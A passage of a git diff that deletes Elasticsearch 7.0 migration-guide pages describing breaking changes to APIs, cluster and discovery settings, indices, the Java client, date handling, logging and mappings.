-// TESTRESPONSE[s/"created_string": "5.5.0"/"created_string": $body.my-index-000001.settings.index.version.created_string/]
-// TESTRESPONSE[s/"created": "5050099"/"created": $body.my-index-000001.settings.index.version.created/]
-
-<1> This index was created in {es} 5.5.0.
-====
---
-
-. Update your application or workflow to use
-<<optimistic-concurrency-control,sequence numbers>> for concurrency control.
-
-. Perform a rolling upgrade to {version}.
-
-NOTE: The `external` versioning type is still fully supported.
-
-[discrete]
-==== Camel case and underscore parameters deprecated in 6.x have been removed
-A number of duplicate parameters deprecated in 6.x have been removed from
-Bulk request, Multi Get request, Term Vectors request, and More Like This Query
-requests.
-
-The following camel case parameters have been removed:
-
-* `opType`
-* `versionType`, `_versionType`
-
-The following parameters starting with underscore have been removed:
-
-* `_parent`
-* `_retry_on_conflict`
-* `_routing`
-* `_version`
-* `_version_type`
-
-Instead of these removed parameters, use their non camel case equivalents without
-starting underscore, e.g. use `version_type` instead of `_version_type` or `versionType`.
-
-[discrete]
-==== Thread pool info
-
-In previous versions of Elasticsearch, the thread pool info returned in the
-<<cluster-nodes-info,nodes info API>> returned `min` and `max` values reflecting
-the configured minimum and maximum number of threads that could be in each
-thread pool. The trouble with this representation is that it does not align with
-the configuration parameters used to configure thread pools. For
-<<modules-threadpool,scaling thread pools>>, the minimum number of threads is
-configured by a parameter called `core` and the maximum number of threads is
-configured by a parameter called `max`. For <<modules-threadpool,fixed thread
-pools>>, there is only one configuration parameter along these lines and that
-parameter is called `size`, reflecting the fixed number of threads in the
-pool. This discrepancy between the API and the configuration parameters has been
-rectified. Now, the API will report `core` and `max` for scaling thread pools,
-and `size` for fixed thread pools.
-
-Similarly, in the cat thread pool API the existing `size` output has been
-renamed to `pool_size` which reflects the number of threads currently in the
-pool; the shortcut for this value has been changed from `s` to `psz`.  The `min`
-output has been renamed to `core` with a shortcut of `cr`, the shortcut for
-`max` has been changed to `mx`, and the `size` output with a shortcut of `sz`
-has been reused to report the configured number of threads in the pool.  This
-aligns the output of the API with the configuration values for thread
-pools. Note that `core` and `max` will be populated for scaling thread pools,
-and `size` will be populated for fixed thread pools.
-
-[discrete]
-[[fields-param-removed-bulk-update-request]]
-==== The parameter `fields` deprecated in 6.x has been removed from Bulk request
-and Update request. The Update API returns `400 - Bad request` if request contains
-unknown parameters (instead of ignored in the previous version).
-
-[discrete]
-==== PUT Document with Version error message changed when document is missing
-
-If you attempt to `PUT` a document with versioning (e.g. `PUT /test/_doc/1?version=4`)
-but the document does not exist, a cryptic message is returned:
-
-[source,text]
-----------
-version conflict, current version [-1] is different than the one provided [4]
-----------
-
-Now if the document is missing a more helpful message is returned:
-
-[source,text]
-----------
-document does not exist (expected version [4])
-----------
-
-Although exceptions messages are liable to change and not generally subject to
-backwards compatibility, the nature of this message might mean clients are relying
-on parsing the version numbers and so the format change might impact some users.
-
-[discrete]
-[[remove-suggest-metric]]
-==== Remove support for `suggest` metric/index metric in indices stats and nodes stats APIs
-
-Previously, `suggest` stats were folded into `search` stats. Support for the
-`suggest` metric on the indices stats and nodes stats APIs remained for
-backwards compatibility. Backwards support for the `suggest` metric was
-deprecated in 6.3.0 and now removed in 7.0.0.
-
-[discrete]
-[[remove-field-caps-body]]
-==== Field capabilities request format
-
-In the past, `fields` could be provided either as a parameter, or as part of the request
-body. Specifying `fields` in the request body as opposed to a parameter was deprecated
-in 6.4.0, and is now unsupported in 7.0.0.
-
-[discrete]
-[[copy-settings-deprecated-shrink-split-apis]]
-==== `copy_settings` is deprecated on shrink and split APIs
-
-Versions of Elasticsearch prior to 6.4.0 did not copy index settings on shrink
-and split operations. Starting with Elasticsearch 7.0.0, the default behavior
-will be for such settings to be copied on such operations. To enable users in
-6.4.0 to transition in 6.4.0 to the default behavior in 7.0.0, the
-`copy_settings` parameter was added on the REST layer. As this behavior will be
-the only behavior in 8.0.0, this parameter is deprecated in 7.0.0 for removal in
-8.0.0.
-
-[discrete]
-==== The deprecated stored script contexts have now been removed
-When putting stored scripts, support for storing them with the deprecated `template` context or without a context is
-now removed. Scripts must be stored using the `script` context as mentioned in the documentation.
-
-[discrete]
-==== Removed Get Aliases API limitations when {security-features} are enabled
-
-The behavior and response codes of the get aliases API no longer vary
-depending on whether {security-features} are enabled. Previously a
-404 - NOT FOUND (IndexNotFoundException) could be returned in case the
-current user was not authorized for any alias. An empty response with
-status 200 - OK is now returned instead at all times.
-
-[discrete]
-[[user-object-removed-put-user-api]]
-==== Put User API response no longer has `user` object
-
-The Put User API response was changed in 6.5.0 to add the `created` field
-outside of the user object where it previously had been. In 7.0.0 the user
-object has been removed in favor of the top level `created` field.
-
-[discrete]
-[[source-include-exclude-params-removed]]
-==== Source filtering url parameters `_source_include` and `_source_exclude` have been removed
-
-The deprecated in 6.x url parameters are now removed. Use `_source_includes` and `_source_excludes` instead.
-
-[discrete]
-==== Multi Search Request metadata validation
-
-MultiSearchRequests issued through `_msearch` now validate all keys in the metadata section. Previously unknown keys were ignored
-while now an exception is thrown.
-
-[discrete]
-==== Deprecated graph endpoints removed
-
-The deprecated graph endpoints (those with `/_graph/_explore`) have been
-removed.
-
-
-[discrete]
-[[deprecated-termvector-endpoint-removed]]
-==== Deprecated `_termvector` endpoint removed
-
-The `_termvector` endpoint was deprecated in 2.0 and has now been removed.
-The endpoint `_termvectors` (plural) should be used instead.
-
-[discrete]
-==== When {security-features} are enabled, index monitoring APIs over restricted indices are not authorized implicitly anymore
-
-Restricted indices (currently only `.security-6` and `.security`) are special internal
-indices that require setting the `allow_restricted_indices` flag on every index
-permission that covers them. If this flag is `false` (default) the permission
-will not cover these and actions against them will not be authorized.
-However, the monitoring APIs were the only exception to this rule. This exception
-has been forfeited and index monitoring privileges have to be granted explicitly,
-using the `allow_restricted_indices` flag on the permission (as any other index
-privilege).
-
-[discrete]
-[[remove-get-support-cache-clear-api]]
-==== Removed support for `GET` on the `_cache/clear` API
-
-The `_cache/clear` API no longer supports the `GET` HTTP verb. It must be called
-with `POST`.
-
-[discrete]
-==== Cluster state size metrics removed from Cluster State API Response
-
-The `compressed_size` / `compressed_size_in_bytes` fields were removed from
-the Cluster State API response.  The calculation of the size was expensive and had
-dubious value, so the field was removed from the response.
-
-[discrete]
-==== Migration Assistance API has been removed
-
-The Migration Assistance API has been functionally replaced by the
-Deprecation Info API, and the Migration Upgrade API is not used for the
-transition from ES 6.x to 7.x, and does not need to be kept around to
-repair indices that were not properly upgraded before upgrading the
-cluster, as was the case in 6.
-
-[discrete]
-==== Changes to thread pool naming in Node and Cat APIs
-The `thread_pool` information returned from the Nodes and Cat APIs has been
-standardized to use the same terminology as the thread pool configurations.
-This means the response will align with the configuration instead of being
-the same across all the thread pools, regardless of type.
-
-[discrete]
-==== Return 200 when cluster has valid read-only blocks
-If the cluster was configured with `no_master_block: write` and lost its master,
-it would return a `503` status code from a main request (`GET /`) even though
-there are viable read-only nodes available.  The cluster now returns 200 status
-in this situation.
-
-[discrete]
-==== Clearing indices cache is now POST-only
-Clearing the cache indices could previously be done via GET and POST. As GET should
-only support read only non state-changing operations, this is no longer allowed.
-Only POST can be used to clear the cache.
diff --git a/docs/reference/migration/migrate_7_0/cluster.asciidoc b/docs/reference/migration/migrate_7_0/cluster.asciidoc
deleted file mode 100644
index fc0c636d7f8..00000000000
--- a/docs/reference/migration/migrate_7_0/cluster.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[discrete]
-[[breaking_70_cluster_changes]]
-=== Cluster changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[_literal_literal_is_no_longer_allowed_in_cluster_name]]
-==== `:` is no longer allowed in cluster name
-
-Due to cross-cluster search using `:` to separate a cluster and index name,
-cluster names may no longer contain `:`.
-
-[discrete]
-[[new-default-wait-for-active-shards-param]]
-==== New default for `wait_for_active_shards` parameter of the open index command
-
-The default value for the `wait_for_active_shards` parameter of the open index API
-is changed from 0 to 1, which means that the command will now by default wait for all
-primary shards of the opened index to be allocated.
-
-[discrete]
-[[shard-preferences-removed]]
-==== Shard preferences `_primary`, `_primary_first`, `_replica`, and `_replica_first` are removed
-These shard preferences are removed in favour of the `_prefer_nodes` and `_only_nodes` preferences.
-
-[discrete]
-==== Cluster-wide shard soft limit
-Clusters now have soft limits on the total number of open shards in the cluster
-based on the number of nodes and the `cluster.max_shards_per_node` cluster
-setting, to prevent accidental operations that would destabilize the cluster.
-More information can be found in the <<misc-cluster,documentation for that setting>>.
diff --git a/docs/reference/migration/migrate_7_0/discovery.asciidoc b/docs/reference/migration/migrate_7_0/discovery.asciidoc
deleted file mode 100644
index e6adec80fe8..00000000000
--- a/docs/reference/migration/migrate_7_0/discovery.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[discrete]
-[[breaking_70_discovery_changes]]
-=== Discovery changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Cluster bootstrapping is required if discovery is configured
-
-The first time a cluster is started, `cluster.initial_master_nodes` must be set
-to perform cluster bootstrapping. It should contain the names of the
-master-eligible nodes in the initial cluster and be defined on every
-master-eligible node in the cluster. See <<discovery-settings,the discovery
-settings summary>> for an example, and the
-<<modules-discovery-bootstrap-cluster,cluster bootstrapping reference
-documentation>> describes this setting in more detail.
-
-The `discovery.zen.minimum_master_nodes` setting is permitted, but ignored, on
-7.x nodes.
-
-[discrete]
-==== Removing master-eligible nodes sometimes requires voting exclusions
-
-If you wish to remove half or more of the master-eligible nodes from a cluster,
-you must first exclude the affected nodes from the voting configuration using
-the <<modules-discovery-adding-removing-nodes,voting config exclusions API>>.
-If you remove fewer than half of the master-eligible nodes at the same time,
-voting exclusions are not required.  If you remove only master-ineligible nodes
-such as data-only nodes or coordinating-only nodes, voting exclusions are not
-required. Likewise, if you add nodes to the cluster, voting exclusions are not
-required.
-
-[discrete]
-==== Discovery configuration is required in production
-
-Production deployments of Elasticsearch now require at least one of the
-following settings to be specified in the `elasticsearch.yml` configuration
-file:
-
-- `discovery.seed_hosts`
-- `discovery.seed_providers`
-- `cluster.initial_master_nodes`
-- `discovery.zen.ping.unicast.hosts`
-- `discovery.zen.hosts_provider`
-
-The first three settings in this list are only available in versions 7.0 and
-above. If you are preparing to upgrade from an earlier version, you must set
-`discovery.zen.ping.unicast.hosts` or `discovery.zen.hosts_provider`.
-
-[discrete]
-[[new-name-no-master-block-setting]]
-==== New name for `no_master_block` setting
-
-The `discovery.zen.no_master_block` setting is now known as
-`cluster.no_master_block`. Any value set for `discovery.zen.no_master_block` is
-now ignored. You should remove this setting and, if needed, set
-`cluster.no_master_block` appropriately after the upgrade.
-
-[discrete]
-==== Reduced default timeouts for fault detection
-
-By default the <<cluster-fault-detection,cluster fault detection>> subsystem
-now considers a node to be faulty if it fails to respond to 3 consecutive
-pings, each of which times out after 10 seconds. Thus a node that is
-unresponsive for longer than 30 seconds is liable to be removed from the
-cluster. Previously the default timeout for each ping was 30 seconds, so that
-an unresponsive node might be kept in the cluster for over 90 seconds.
-
-[discrete]
-==== Master-ineligible nodes are ignored by discovery
-
-In earlier versions it was possible to use master-ineligible nodes during the
-discovery process, either as seed nodes or to transfer discovery gossip
-indirectly between the master-eligible nodes. Clusters that relied on
-master-ineligible nodes like this were fragile and unable to automatically
-recover from some kinds of failure. Discovery now involves only the
-master-eligible nodes in the cluster so that it is not possible to rely on
-master-ineligible nodes like this. You should configure
-<<modules-discovery-hosts-providers,`discovery.seed_hosts` or another seed
-hosts provider>> to provide the addresses of all the master-eligible nodes in
-your cluster.
diff --git a/docs/reference/migration/migrate_7_0/indices.asciidoc b/docs/reference/migration/migrate_7_0/indices.asciidoc
deleted file mode 100644
index ca3f4989670..00000000000
--- a/docs/reference/migration/migrate_7_0/indices.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[discrete]
-[[breaking_70_indices_changes]]
-=== Indices changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Index creation no longer defaults to five shards
-Previous versions of Elasticsearch defaulted to creating five shards per index.
-Starting with 7.0.0, the default is now one shard per index.
-
-[discrete]
-[[_literal_literal_is_no_longer_allowed_in_index_name]]
-==== `:` is no longer allowed in index name
-
-Due to cross-cluster search using `:` to separate a cluster and index name,
-index names may no longer contain `:`.
-
-[discrete]
-[[index-unassigned-node-left-delayed-timeout-no-longer-negative]]
-==== `index.unassigned.node_left.delayed_timeout` may no longer be negative
-
-Negative values were interpreted as zero in earlier versions but are no
-longer accepted.
-
-[discrete]
-[[flush-force-merge-no-longer-refresh]]
-==== `_flush` and `_force_merge` will no longer refresh
-
-In previous versions issuing a `_flush` or `_force_merge` (with `flush=true`)
-had the undocumented side-effect of refreshing the index which made new documents
-visible to searches and non-realtime GET operations. From now on these operations
-don't have this side-effect anymore. To make documents visible an explicit `_refresh`
-call is needed unless the index is refreshed by the internal scheduler.
-
-[discrete]
-==== Document distribution changes
-
-Indices created with version `7.0.0` onwards will have an automatic `index.number_of_routing_shards`
-value set. This might change how documents are distributed across shards depending on how many
-shards the index has. In order to maintain the exact same distribution as a pre `7.0.0` index, the
-`index.number_of_routing_shards` must be set to the `index.number_of_shards` at index creation time.
-Note: if the number of routing shards equals the number of shards `_split` operations are not supported.
-
-[discrete]
-==== Skipped background refresh on search idle shards
-
-Shards belonging to an index that does not have an explicit
-`index.refresh_interval` configured will  no longer refresh in the background
-once the shard becomes "search idle", ie the shard hasn't seen any search
-traffic for `index.search.idle.after` seconds (defaults to `30s`). Searches
-that access a search idle shard will be "parked" until the next refresh
-happens.  Indexing requests with `wait_for_refresh` will also trigger
-a background refresh.
-
-[discrete]
-==== Remove deprecated url parameters for Clear Indices Cache API
-
-The following previously deprecated url parameter have been removed:
-
-* `filter` - use `query` instead
-* `filter_cache` - use `query` instead
-* `request_cache` - use `request` instead
-* `field_data` - use `fielddata` instead
-
-[discrete]
-[[network-breaker-inflight-requests-overhead-increased-to-2]]
-==== `network.breaker.inflight_requests.overhead` increased to 2
-
-Previously the in flight requests circuit breaker considered only the raw byte representation.
-By bumping the value of `network.breaker.inflight_requests.overhead` from 1 to 2, this circuit
-breaker considers now also the memory overhead of representing the request as a structured object.
-
-[discrete]
-==== Parent circuit breaker changes
-
-The parent circuit breaker defines a new setting `indices.breaker.total.use_real_memory` which is
-`true` by default. This means that the parent circuit breaker will trip based on currently used
-heap memory instead of only considering the reserved memory by child circuit breakers. When this
-setting is `true`, the default parent breaker limit also changes from 70% to 95% of the JVM heap size.
-The previous behavior can be restored by setting `indices.breaker.total.use_real_memory` to `false`.
-
-[discrete]
-==== Field data circuit breaker changes
-As doc values have been enabled by default in earlier versions of Elasticsearch,
-there is less need for fielddata. Therefore, the default value of the setting
-`indices.breaker.fielddata.limit` has been lowered from 60% to 40% of the JVM
-heap size.
-
-[discrete]
-[[fix-value-for-index-shard-check-on-startup-removed]]
-==== `fix` value for `index.shard.check_on_startup` is removed
-
-Deprecated option value `fix` for setting `index.shard.check_on_startup` is not supported.
-
-[discrete]
-[[elasticsearch-translog-removed]]
-==== `elasticsearch-translog` is removed
-
-Use the `elasticsearch-shard` tool to remove corrupted translog data.
diff --git a/docs/reference/migration/migrate_7_0/ingest.asciidoc b/docs/reference/migration/migrate_7_0/ingest.asciidoc
deleted file mode 100644
index 9345ec2a2e1..00000000000
--- a/docs/reference/migration/migrate_7_0/ingest.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[discrete]
-[[breaking_70_ingest_changes]]
-=== API changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-[discrete]
-==== Ingest configuration exception information is now transmitted in metadata field
-
-Previously, some ingest configuration exception information about ingest processors
-was sent to the client in the HTTP headers, which is inconsistent with how
-exceptions are conveyed in other parts of Elasticsearch.
-
-Configuration exception information is now conveyed as a field in the response
-body.
-//end::notable-breaking-changes[]
-[discrete]
-==== Ingest plugin special handling has been removed
-There was some special handling for installing and removing the `ingest-geoip` and
-`ingest-user-agent` plugins after they were converted to modules. This special handling
-was done to minimize breaking users in a minor release, and would exit with a status code
-zero to avoid breaking automation.
-
-This special handling has now been removed.
diff --git a/docs/reference/migration/migrate_7_0/java.asciidoc b/docs/reference/migration/migrate_7_0/java.asciidoc
deleted file mode 100644
index f01c0d428f6..00000000000
--- a/docs/reference/migration/migrate_7_0/java.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[discrete]
-[[breaking_70_java_changes]]
-=== Java API changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[isshardsacked-removed]]
-==== `isShardsAcked` deprecated in `6.2` has been removed
-
-`isShardsAcked` has been replaced by `isShardsAcknowledged` in
-`CreateIndexResponse`, `RolloverResponse` and
-`CreateIndexClusterStateUpdateResponse`.
-
-[discrete]
-[[prepareexecute-removed-client-api]]
-==== `prepareExecute` removed from the client api
-
-The `prepareExecute` method which created a request builder has been
-removed from the client api. Instead, construct a builder for the
-appropriate request directly.
-
-[discrete]
-==== Some Aggregation classes have moved packages
-
-* All classes present in `org.elasticsearch.search.aggregations.metrics.*` packages
-were moved to a single `org.elasticsearch.search.aggregations.metrics` package.
-
-* All classes present in `org.elasticsearch.search.aggregations.pipeline.*` packages
-were moved to a single `org.elasticsearch.search.aggregations.pipeline` package.  In
-addition, `org.elasticsearch.search.aggregations.pipeline.PipelineAggregationBuilders`
-was moved to `org.elasticsearch.search.aggregations.PipelineAggregationBuilders`
-
-
-[discrete]
-[[retry-withbackoff-methods-removed]]
-==== `Retry.withBackoff` methods with `Settings` removed
-
-The variants of `Retry.withBackoff` that included `Settings` have been removed
-because `Settings` is no longer needed.
-
-[discrete]
-[[client-termvector-removed]]
-==== Deprecated method `Client#termVector` removed
-
-The client method `termVector`, deprecated in 2.0, has been removed. The method
-`termVectors` (plural) should be used instead.
-
-[discrete]
-[[abstractlifecyclecomponent-constructor-removed]]
-==== Deprecated constructor `AbstractLifecycleComponent(Settings settings)` removed
-
-The constructor `AbstractLifecycleComponent(Settings settings)`, deprecated in 6.7
-has been removed. The parameterless constructor should be used instead.
-
-[discrete]
-==== Changes to Geometry classes
-
-Geometry classes used to represent geo values in SQL have been moved from the
-`org.elasticsearch.geo.geometry` package to the `org.elasticsearch.geometry`
-package and the order of the constructor parameters has changed from `lat`, `lon`
-to `lon`, `lat`.
diff --git a/docs/reference/migration/migrate_7_0/java_time.asciidoc b/docs/reference/migration/migrate_7_0/java_time.asciidoc
deleted file mode 100644
index 5968868a34e..00000000000
--- a/docs/reference/migration/migrate_7_0/java_time.asciidoc
+++ /dev/null
@@ -1,135 +0,0 @@
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[breaking_70_java_time_changes]]
-=== Replacing Joda-Time with java time
-
-Since Java 8 there is a dedicated `java.time` package, which is superior to
-the Joda-Time library, that has been used so far in Elasticsearch. One of
-the biggest advantages is the ability to be able to store dates in a higher
-resolution than milliseconds for greater precision. Also this will allow us
-to remove the Joda-Time dependency in the future.
-
-The mappings, aggregations and search code switched from Joda-Time to
-java time.
-
-[discrete]
-==== Joda based date formatters are replaced with java ones
-
-With the release of Elasticsearch 6.7 a backwards compatibility layer was
-introduced, that checked if you are using a Joda-Time based formatter, that is
-supported differently in java time. A log message was emitted, and you could
-create the proper java time based formatter prefixed with an `8`.
-
-With Elasticsearch 7.0 all formatters are now java based, which means you will
-get exceptions when using deprecated formatters without checking the
-deprecation log in 6.7. In the worst case you may even end up with different
-dates.
-
-An example deprecation message looks like this, that is returned, when you
-try to use a date formatter that includes a lower case `Y`
-
-[source,text]
-----------
-Use of 'Y' (year-of-era) will change to 'y' in the next major version of
-Elasticsearch. Prefix your date format with '8' to use the new specifier.
-----------
-
-So, instead of using `YYYY.MM.dd` you should use `8yyyy.MM.dd`.
-
-You can find more information about available formatting strings in the
-https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[DateTimeFormatter javadocs].
-
-[discrete]
-==== Date formats behavioural change
-
-The `epoch_millis` and `epoch_second` formatters no longer support
-scientific notation.
-
-If you are using the century of era formatter in a date (`C`), this will no
-longer be supported.
-
-The year-of-era formatting character is a `Y` in Joda-Time, but a lowercase
-`y` in java time.
-
-The week-based-year formatting character is a lowercase `x` in Joda-Time,
-but an upper-case `Y` in java time.
-
-[discrete]
-==== Using time zones in the Java client
-
-Timezones have to be specified as java time based zone objects. This means,
-instead of using a `org.joda.time.DateTimeZone` the use of
-`java.time.ZoneId` is required.
-
-Examples of possible uses are the `QueryStringQueryBuilder`, the
-`RangeQueryBuilder` or the `DateHistogramAggregationBuilder`, each of them
-allow for an optional timezone for that part of the search request.
-
-[discrete]
-==== Parsing aggregation buckets in the Java client
-
-The date based aggregation buckets in responses used to be of
-type `JodaTime`. Due to migrating to java-time, the buckets are now of
-type `ZonedDateTime`. As the client is returning untyped objects here, you
-may run into class cast exceptions only when running the code, but not at
-compile time, ensure you have proper test coverage for this in your
-own code.
-
-[discrete]
-[[parsing-gtm0-timezeone-jdk8-not-supported]]
-==== Parsing `GMT0` timezone with JDK8 is not supported
-
-When you are running Elasticsearch 7 with Java 8, you are not able to parse
-the timezone `GMT0` properly anymore. The reason for this is a bug in the
-JDK, which has not been fixed for JDK8. You can read more in the
-https://bugs.openjdk.java.net/browse/JDK-8138664[official issue]
-This bug is fixed in JDK9 and later versions.
-
-[discrete]
-==== Scripting with dates should use java time based methods
-
-If dates are used in scripting, a backwards compatibility layer has been added
-that emulates the Joda-Time methods, but logs a deprecation message as well
-to use the java time methods.
-
-The following methods will be removed in future versions of Elasticsearch
-and should be replaced.
-
-* `getDayOfWeek()` will be an enum instead of an int, if you need to use
-  an int, use `getDayOfWeekEnum().getValue()`
-* `getMillis()` should be replaced with `toInstant().toEpochMilli()`
-* `getCenturyOfEra()` should be replaced with `get(ChronoField.YEAR_OF_ERA) / 100`
-* `getEra()` should be replaced with `get(ChronoField.ERA)`
-* `getHourOfDay()` should be replaced with `getHour()`
-* `getMillisOfDay()` should be replaced with `get(ChronoField.MILLI_OF_DAY)`
-* `getMillisOfSecond()` should be replaced with `get(ChronoField.MILLI_OF_SECOND)`
-* `getMinuteOfDay()` should be replaced with `get(ChronoField.MINUTE_OF_DAY)`
-* `getMinuteOfHour()` should be replaced with `getMinute()`
-* `getMonthOfYear()` should be replaced with `getMonthValue()`
-* `getSecondOfDay()` should be replaced with `get(ChronoField.SECOND_OF_DAY)`
-* `getSecondOfMinute()` should be replaced with `getSecond()`
-* `getWeekOfWeekyear()` should be replaced with `get(WeekFields.ISO.weekOfWeekBasedYear())`
-* `getWeekyear()` should be replaced with `get(WeekFields.ISO.weekBasedYear())`
-* `getYearOfCentury()` should be replaced with `get(ChronoField.YEAR_OF_ERA) % 100`
-* `getYearOfEra()` should be replaced with `get(ChronoField.YEAR_OF_ERA)`
-* `toString(String)` should be replaced with a `DateTimeFormatter`
-* `toString(String,Locale)` should be replaced with a `DateTimeFormatter`
-
-[discrete]
-==== Negative epoch timestamps are no longer supported
-
-With the switch to java time, support for negative timestamps has been removed.
-For dates before 1970, use a date format containing a year.
-
-
-[discrete]
-==== Migration guide
-For a detailed migration guide, see <<migrate-to-java-time>>.
-
-include::migrate_to_java_time.asciidoc[]
diff --git a/docs/reference/migration/migrate_7_0/logging.asciidoc b/docs/reference/migration/migrate_7_0/logging.asciidoc
deleted file mode 100644
index d9180fd81bd..00000000000
--- a/docs/reference/migration/migrate_7_0/logging.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[discrete]
-[[breaking_70_logging_changes]]
-=== Logging changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[new-json-format-log-directory]]
-==== New JSON format log files in `log` directory
-
-Elasticsearch now will produce additional log files in JSON format. They will be stored in `*.json` suffix files.
-Following files should be expected now in log directory:
-* ${cluster_name}_server.json
-* ${cluster_name}_deprecation.json
-* ${cluster_name}_index_search_slowlog.json
-* ${cluster_name}_index_indexing_slowlog.json
-* ${cluster_name}.log
-* ${cluster_name}_deprecation.log
-* ${cluster_name}_index_search_slowlog.log
-* ${cluster_name}_index_indexing_slowlog.log
-* ${cluster_name}_audit.json
-* gc.log
-
-Note: You can configure which of these files are written by editing `log4j2.properties`.
-
-[discrete]
-[[log-files-ending-log-deprecated]]
-==== Log files ending with `*.log` deprecated
-Log files with the `.log` file extension using the old pattern layout format
-are now considered deprecated and the newly added JSON log file format with
-the `.json` file extension should be used instead.
-Note: GC logs which are written to the file `gc.log` will not be changed.
-
-[discrete]
-==== Docker output in JSON format
-
-All Docker console logs are now in JSON format. You can distinguish logs streams with the `type` field.
-
-[discrete]
-==== Audit plaintext log file removed, JSON file renamed
-
-Elasticsearch no longer produces the `${cluster_name}_access.log` plaintext
-audit log file. The `${cluster_name}_audit.log` files also no longer exist; they
-are replaced by `${cluster_name}_audit.json` files. When auditing is enabled,
-auditing events are stored in these dedicated JSON log files on each node.
-
diff --git a/docs/reference/migration/migrate_7_0/low_level_restclient.asciidoc b/docs/reference/migration/migrate_7_0/low_level_restclient.asciidoc
deleted file mode 100644
index 79654f0f6d5..00000000000
--- a/docs/reference/migration/migrate_7_0/low_level_restclient.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[discrete]
-[[breaking_70_low_level_restclient_changes]]
-=== Low-level REST client changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[maxretrytimeout-removed]]
-==== Support for `maxRetryTimeout` removed from RestClient
-
-`RestClient` and `RestClientBuilder` no longer support the `maxRetryTimeout`
-setting. The setting was removed as its counting mechanism was not accurate
-and caused issues while adding little value.
-
-[discrete]
-==== Deprecated flavors of performRequest have been removed
-
-We deprecated the flavors of `performRequest` and `performRequestAsync` that
-do not take `Request` objects in 6.4.0 in favor of the flavors that take
-`Request` objects because those methods can be extended without breaking
-backwards compatibility.
-
-[discrete]
-==== Removed setHosts
-
-We deprecated `setHosts` in 6.4.0 in favor of `setNodes` because it supports
-host metadata used by the `NodeSelector`.
-
-[discrete]
-==== Minimum compiler version change
-The minimum compiler version on the low-level REST client has been bumped
-to JDK 8.
diff --git a/docs/reference/migration/migrate_7_0/mappings.asciidoc b/docs/reference/migration/migrate_7_0/mappings.asciidoc
deleted file mode 100644
index 0eb7b8c310b..00000000000
--- a/docs/reference/migration/migrate_7_0/mappings.asciidoc
+++ /dev/null
@@ -1,119 +0,0 @@
-[discrete]
-[[breaking_70_mappings_changes]]
-=== Mapping changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[all-meta-field-removed]]
-==== The `_all` metadata field is removed
-
-The `_all` field deprecated in 6 have now been removed.
-
-[discrete]
-[[uid-meta-field-removed]]
-==== The `_uid` metadata field is removed
-
-This field used to index a composite key formed of the `_type` and the `_id`.
-Now that indices cannot have multiple types, this has been removed in favour
-of `_id`.
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[default-mapping-not-allowed]]
-==== The `_default_` mapping is no longer allowed
-
-The `_default_` mapping has been deprecated in 6.0 and is now no longer allowed
-in 7.0. Trying to configure a `_default_` mapping on 7.x indices will result in
-an error.
-
-If an index template contains a `_default_` mapping, it will fail to create new
-indices. To resolve this issue, the `_default_` mapping should be removed from
-the template. Note that in 7.x, the <<indices-get-template, get template API>>
-does not show the `_default_` mapping by default, even when it is defined in
-the mapping. To see all mappings in the template, the `include_type_name`
-parameter must be supplied:
-
-```
-GET /_template/my_template?include_type_name
-```
-
-For more details on the `include_type_name` parameter and other types-related
-API changes, please see <<removal-of-types>>.
-//end::notable-breaking-changes[]
-
-[discrete]
-[[index-options-numeric-fields-removed]]
-==== `index_options` for numeric fields has been removed
-
-The `index_options` field for numeric  fields has been deprecated in 6 and has now been removed.
-
-[discrete]
-[[limit-number-nested-json-objects]]
-==== Limiting the number of `nested` json objects
-
-To safeguard against out of memory errors, the number of nested json objects within a single
-document across all fields has been limited to 10000. This default limit can be changed with
-the index setting `index.mapping.nested_objects.limit`.
-
-[discrete]
-[[update-all-types-option-removed]]
-==== The `update_all_types` option has been removed
-
-This option is useless now that all indices have at most one type.
-
-[discrete]
-[[classic-similarity-removed]]
-==== The `classic` similarity has been removed
-
-The `classic` similarity relied on coordination factors for scoring to be good
-in presence of stopwords in the query. This feature has been removed from
-Lucene, which means that the `classic` similarity now produces scores of lower
-quality. It is advised to switch to `BM25` instead, which is widely accepted
-as a better alternative.
-
-[discrete]
-==== Similarities fail when unsupported options are provided
-
-An error will now be thrown when unknown configuration options are provided
-to similarities. Such unknown parameters were ignored before.
-
-[discrete]
-[[changed-default-geo-shape-index-strategy]]
-==== Changed default `geo_shape` indexing strategy
-
-`geo_shape` types now default to using a vector indexing approach based on Lucene's new
-`LatLonShape` field type. This indexes shapes as a triangular mesh instead of decomposing
-them into individual grid cells. To index using legacy prefix trees the `tree` parameter
